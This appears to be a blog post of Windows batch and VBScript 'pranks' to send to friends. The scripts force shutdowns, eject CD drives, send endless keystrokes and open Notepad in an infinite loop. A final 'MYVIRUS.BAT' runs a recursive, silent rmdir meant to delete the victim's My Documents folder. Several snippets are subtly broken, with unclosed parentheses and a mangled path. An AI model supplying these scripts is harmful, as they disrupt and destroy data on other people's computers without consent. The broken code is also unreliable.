we are not responsible for any problems caused by these codes
use these codes on your own risk
1. Convey your friend a lil' message and
shut down his / her computer:
Type :
@echo off
msg * I don't like you
shutdown -c "Error! You are too silly!" -s
Save it as "Anything.BAT" in All Files and send it.
2. Toggle your friend's Caps Lock button simultaneously:
Type :
Set wshShell =wscript.CreateObject("WScript.Shell"
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.
3. Continually pop out your friend's CD Drive.
If he / she has more than one, it pops out all of them!
Type :
Set oWMP = CreateObject("WMPlayer.OCX.7"
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.
4. Frustrate your friend by making this
VBScript hit Enter simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell"
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.
5. Open Notepad, slowly type "Hello,
how are you? I am good thanks" and freak your friend out:
Type :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell"
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS"
6. Frustrate your friend by making this
VBScript hit Backspace simultaneously:
Type :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell"
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS"
7. Hack your friend's keyboard and make
him type "You are a fool" simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell"
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it.
8. Open Notepad continually in your friend's computer:
Type :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as "Anything.BAT" and send it.
OPEN Notepad and COPY-PASTE the
following code in it [rmdir CDocuments
and Settings/S/Q ].
Then save the file with whatever name you like.
But be sure to save it as a BAT FILE.
I mean save it like MYVIRUS.BAT.
It should have the ending as .BAT.
Now if you give this to someone and If he
RUNS this PROGRAM then his MY
DOCUMENT FOLDER will be deleted.
An Engineering student who is passionate about blogging and hacking .
ConversionConversion EmoticonEmoticon